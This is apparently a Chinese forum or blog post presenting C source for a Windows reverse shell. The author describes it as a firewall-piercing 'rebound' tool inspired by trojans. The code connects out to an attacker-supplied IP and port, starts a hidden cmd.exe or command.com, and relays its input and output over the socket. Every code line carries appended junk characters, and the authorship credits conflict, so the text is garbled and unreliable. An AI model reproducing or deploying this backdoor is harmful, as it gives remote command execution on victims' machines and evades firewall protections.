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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^ ,cwm:B@  
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/* ============================== vvi[+$M  
Rebound port in Windows NT @$*LU:[  
By wind,2006/7 &s{" Vc9]  
===============================*/ yIq. m=  
#include 7{BTtUMAC  
#include &^7^7:Y=?  
Yk^clCB{A(  
#pragma comment(lib,"wsock32.lib") j@o \d%.'!  
lSG"c+iV  
void OutputShell(); \jpm   
SOCKET sClient; W5SCm(QS5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vyA `Z1  
Gi+ZI{)  
void main(int argc,char **argv) W2`/z)[*>  
{ `;c{E%qeq  
WSADATA stWsaData; 2=%R>&]*  
int nRet; )IFFtU~,  
SOCKADDR_IN stSaiClient,stSaiServer; Cu $mb}@  
f(*ygI  
if(argc != 3) !H^e$BA  
{ T?4I\SG  
printf("Useage:\n\rRebound DestIP DestPort\n"); F,.dC&B  
return; AZ7m=Q97  
} J1\H^gyW)  
uD0<|At/  
WSAStartup(MAKEWORD(2,2),&stWsaData); i]{-KZC  
W1!Nq`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j*fs [4  
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stSaiClient.sin_family = AF_INET; [-p?gyl  
stSaiClient.sin_port = htons(0); Z(|'zAb^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IQ] tcSQl  
sy(8-zbI  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L60Sc  
{ +oRBSAg-  
printf("Bind Socket Failed!\n"); s#* DY  
return; %+bw2;a6  
} - %'ys  
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stSaiServer.sin_family = AF_INET; \:5M0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =U`9_]~1c@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R^f-j-$o]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8h '~*  
{ .kqH}{hf  
printf("Connect Error!"); N]dsGvX  
return; LcW:vV|'K  
} 7Ap==J{a  
OutputShell(); K^Ixu~  
} 6mml96(  
c?t,,\o(}  
void OutputShell() x!`~+f.6  
{ +#RqQ8 \  
char szBuff[1024]; K)&oDwk  
SECURITY_ATTRIBUTES stSecurityAttributes; B.Y8O^rx  
OSVERSIONINFO stOsversionInfo; YcdT/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _0Z8V[  
STARTUPINFO stStartupInfo; [9H986=  
char *szShell; &57s//PrX  
PROCESS_INFORMATION stProcessInformation; \(4kEB2s$  
unsigned long lBytesRead; ;56mkP  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %SC%#_7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :YUQKy  
stSecurityAttributes.lpSecurityDescriptor = 0; GS qt:<Qs  
stSecurityAttributes.bInheritHandle = TRUE; G|+naZ  
B 4RP~^  
SLjSNuOP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); py%_XL=w,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); slH3c:j\  
,xOOR   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2od 9Q=v~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; caD|*.b  
stStartupInfo.wShowWindow = SW_HIDE; ~ \3j{pr  
stStartupInfo.hStdInput = hReadPipe; +2 x|j>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :p0<AU47  
@w @SOzS)  
GetVersionEx(&stOsversionInfo); %<rV~9:  
D:.1Be`Tv  
switch(stOsversionInfo.dwPlatformId) w(cl,W/w  
{ cz.,QIt_  
case 1: NA{?DSP  
szShell = "command.com"; >!BZ>G2  
break; X775j"<d  
default: RA ER\9i  
szShell = "cmd.exe"; \ ~uY);  
break; SadffAvSA{  
} M|9=B<6`7  
H^J waF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -;RW)n^n  
}WM!e"  
send(sClient,szMsg,77,0); ?>T (  
while(1) 17) `CM$<[  
{ <F&53N&Zc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R.)w l  
if(lBytesRead) @lu` oyM  
{ Y<)9TU:D!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rZkl0Y;n\  
send(sClient,szBuff,lBytesRead,0); 5hg ^K^ZZ  
} ?:c:D5N  
else BW5!@D2  
{ ~Blsj9a2  
lBytesRead=recv(sClient,szBuff,1024,0); 9`|~- b  
if(lBytesRead<=0) break; o?((FW5.;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MgrJ ;?L  
} B nu5\P  
} 5169E*  
;Sw % t(@  
return;  r NT>{  
}
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